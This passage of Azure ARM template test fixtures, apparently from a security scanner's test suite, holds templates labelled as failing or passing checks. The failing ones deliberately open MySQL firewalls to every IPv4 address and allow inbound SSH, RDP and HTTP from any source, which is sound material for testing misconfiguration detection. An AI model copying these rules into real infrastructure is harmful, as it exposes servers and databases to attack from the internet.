"rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforMySQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('mysqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "sslEnforcement": "Enabled" }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforMySQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "StartIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "EndIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmSku": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VMs in the VM Scale Set." } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "14.04.4-LTS", "allowedValues": [ "16.04-LTS", "14.04.4-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS." } }, "vmssName": { "type": "string", "metadata": { "description": "String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended." }, "maxLength": 61 }, "instanceCount": { "type": "int", "metadata": { "description": "Number of VM instances (100 or less)." }, "maxValue": 100 }, "adminUsername": { "type": "string", "metadata": { "description": "Admin username on all VMs." } }, "authenticationType": { "type": "string", "defaultValue": "sshPublicKey", "allowedValues": [ "sshPublicKey", "password" ], "metadata": { "description": "Type of authentication to use on the Virtual Machine. SSH key is recommended." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } } }, "variables": { "namingInfix": "[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]", "longNamingInfix": "[toLower(parameters('vmssName'))]", "jumpBoxName": "[concat(variables('namingInfix'), 'jbox')]", "jumpBoxSAName": "[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]", "jumpBoxOSDiskName": "[concat(variables('jumpBoxName'), 'osdisk')]", "jumpBoxVHDContainerName": "[concat(variables('jumpBoxName'), 'vhd')]", "jumpBoxIPConfigName": "[concat(variables('jumpBoxName'), 'ipconfig')]", "jumpBoxNicName": "[concat(variables('jumpBoxName'), 'nic')]", "storageAccountType": "Standard_LRS", "newStorageAccountSuffix": "[concat(variables('namingInfix'), 'sa')]", "addressPrefix": "10.0.0.0/16", "subnetPrefix": "10.0.0.0/24", "virtualNetworkName": "[concat(variables('namingInfix'), 'vnet')]", "subnetName": "[concat(variables('namingInfix'), 'subnet')]", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPAddressName": "[concat(variables('namingInfix'), 'pip')]", "nicName": "[concat(variables('namingInfix'), 'nic')]", "ipConfigName": "[concat(variables('namingInfix'), 'ipconfig')]", "osType": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" }, "imageReference": "[variables('osType')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } }, "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "80", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "comments": "Wildcard protocol rule", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "80", "protocol": "*", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[variables('subnetPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('jumpBoxSAName')]", "location": "[resourceGroup().location]", "apiVersion": "2015-06-15", "properties": { "accountType": "[variables('storageAccountType')]" } }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[variables('longNamingInfix')]" } } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('jumpBoxNicName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]", "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "properties": { "ipConfigurations": [ { "name": "[variables('jumpBoxIPConfigName')]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "subnet": { "id": "[variables('subnetRef')]" } } } ] } }, { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('jumpBoxName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]", "[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSku')]" }, "osProfile": { "computerName": "[variables('jumpBoxName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "storageProfile": { "imageReference": "[variables('imageReference')]", "osDisk": { "name": "[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]", "caching": "ReadWrite", "createOption": "FromImage" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]" } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]" } } } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "[variables('namingInfix')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "sku": { "name": "[parameters('vmSku')]", "tier": "Standard", "capacity": "[parameters('instanceCount')]" }, "properties": { "overprovision": "true", "upgradePolicy": { "mode": "Manual" }, "virtualMachineProfile": { "storageProfile": { "osDisk": { "createOption": "FromImage" }, "imageReference": "[variables('imageReference')]" }, "osProfile": { "computerNamePrefix": "[variables('namingInfix')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "networkProfile": { "networkInterfaceConfigurations": [ { "name": "[variables('nicName')]", "properties": { "primary": true, "ipConfigurations": [ { "name": "[variables('ipConfigName')]", "properties": { "subnet": { "id": "[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]" } } } ] } } ] } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[parameters('webServerNsgName')]", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "DefaultDeny", "properties": { "description": "Denies all inbound traffic not matched by a previous rule", "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Deny", "priority": 4096, "direction": "Inbound" } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allowAllFromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleHTTPAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allow443FromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmSku": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VMs in the VM Scale Set." } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "14.04.4-LTS", "allowedValues": [ "16.04-LTS", "14.04.4-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS." } }, "vmssName": { "type": "string", "metadata": { "description": "String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended." }, "maxLength": 61 }, "instanceCount": { "type": "int", "metadata": { "description": "Number of VM instances (100 or less)." }, "maxValue": 100 }, "adminUsername": { "type": "string", "metadata": { "description": "Admin username on all VMs." } }, "authenticationType": { "type": "string", "defaultValue": "sshPublicKey", "allowedValues": [ "sshPublicKey", "password" ], "metadata": { "description": "Type of authentication to use on the Virtual Machine. SSH key is recommended." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } } }, "variables": { "namingInfix": "[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]", "longNamingInfix": "[toLower(parameters('vmssName'))]", "jumpBoxName": "[concat(variables('namingInfix'), 'jbox')]", "jumpBoxSAName": "[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]", "jumpBoxOSDiskName": "[concat(variables('jumpBoxName'), 'osdisk')]", "jumpBoxVHDContainerName": "[concat(variables('jumpBoxName'), 'vhd')]", "jumpBoxIPConfigName": "[concat(variables('jumpBoxName'), 'ipconfig')]", "jumpBoxNicName": "[concat(variables('jumpBoxName'), 'nic')]", "storageAccountType": "Standard_LRS", "newStorageAccountSuffix": "[concat(variables('namingInfix'), 'sa')]", "addressPrefix": "10.0.0.0/16", "subnetPrefix": "10.0.0.0/24", "virtualNetworkName": "[concat(variables('namingInfix'), 'vnet')]", "subnetName": "[concat(variables('namingInfix'), 'subnet')]", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPAddressName": "[concat(variables('namingInfix'), 'pip')]", "nicName": "[concat(variables('namingInfix'), 'nic')]", "ipConfigName": "[concat(variables('namingInfix'), 'ipconfig')]", "osType": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" }, "imageReference": "[variables('osType')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } }, "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "comments": "Wildcard protocol rule", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "*", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[variables('subnetPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('jumpBoxSAName')]", "location": "[resourceGroup().location]", "apiVersion": "2015-06-15", "properties": { "accountType": "[variables('storageAccountType')]" } }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[variables('longNamingInfix')]" } } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('jumpBoxNicName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]", "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "properties": { "ipConfigurations": [ { "name": "[variables('jumpBoxIPConfigName')]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "subnet": { "id": "[variables('subnetRef')]" } } } ] } }, { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('jumpBoxName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]", "[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSku')]" }, "osProfile": { "computerName": "[variables('jumpBoxName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "storageProfile": { "imageReference": "[variables('imageReference')]", "osDisk": { "name": "[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]", "caching": "ReadWrite", "createOption": "FromImage" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]" } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]" } } } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "[variables('namingInfix')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "sku": { "name": "[parameters('vmSku')]", "tier": "Standard", "capacity": "[parameters('instanceCount')]" }, "properties": { "overprovision": "true", "upgradePolicy": { "mode": "Manual" }, "virtualMachineProfile": { "storageProfile": { "osDisk": { "createOption": "FromImage" }, "imageReference": "[variables('imageReference')]" }, "osProfile": { "computerNamePrefix": "[variables('namingInfix')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "networkProfile": { "networkInterfaceConfigurations": [ { "name": "[variables('nicName')]", "properties": { "primary": true, "ipConfigurations": [ { "name": "[variables('ipConfigName')]", "properties": { "subnet": { "id": "[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]" } } } ] } } ] } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[parameters('webServerNsgName')]", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "DefaultDeny", "properties": { "description": "Denies all inbound traffic not matched by a previous rule", "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Deny", "priority": 4096, "direction": "Inbound" } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allowAllFromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allow443FromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmSku": { "type": "string", "defaultValue": "Standard_A1", "metadata": { "description": "Size of VMs in the VM Scale Set." } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "14.04.4-LTS", "allowedValues": [ "16.04-LTS", "14.04.4-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS." } }, "vmssName": { "type": "string", "metadata": { "description": "String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended." }, "maxLength": 61 }, "instanceCount": { "type": "int", "metadata": { "description": "Number of VM instances (100 or less)." }, "maxValue": 100 }, "adminUsername": { "type": "string", "metadata": { "description": "Admin username on all VMs." } }, "authenticationType": { "type": "string", "defaultValue": "sshPublicKey", "allowedValues": [ "sshPublicKey", "password" ], "metadata": { "description": "Type of authentication to use on the Virtual Machine. SSH key is recommended." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } } }, "variables": { "namingInfix": "[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]", "longNamingInfix": "[toLower(parameters('vmssName'))]", "jumpBoxName": "[concat(variables('namingInfix'), 'jbox')]", "jumpBoxSAName": "[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]", "jumpBoxOSDiskName": "[concat(variables('jumpBoxName'), 'osdisk')]", "jumpBoxVHDContainerName": "[concat(variables('jumpBoxName'), 'vhd')]", "jumpBoxIPConfigName": "[concat(variables('jumpBoxName'), 'ipconfig')]", "jumpBoxNicName": "[concat(variables('jumpBoxName'), 'nic')]", "storageAccountType": "Standard_LRS", "newStorageAccountSuffix": "[concat(variables('namingInfix'), 'sa')]", "addressPrefix": "10.0.0.0/16", "subnetPrefix": "10.0.0.0/24", "virtualNetworkName": "[concat(variables('namingInfix'), 'vnet')]", "subnetName": "[concat(variables('namingInfix'), 'subnet')]", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPAddressName": "[concat(variables('namingInfix'), 'pip')]", "nicName": "[concat(variables('namingInfix'), 'nic')]", "ipConfigName": "[concat(variables('namingInfix'), 'ipconfig')]", "osType": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" }, "imageReference": "[variables('osType')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } }, "networkSecurityGroupName": "default-NSG" }, "resources": [ { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-22", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "22", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "comments": "Wildcard protocl rule", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "default-allow-22", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "22", "protocol": "Tcp", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', 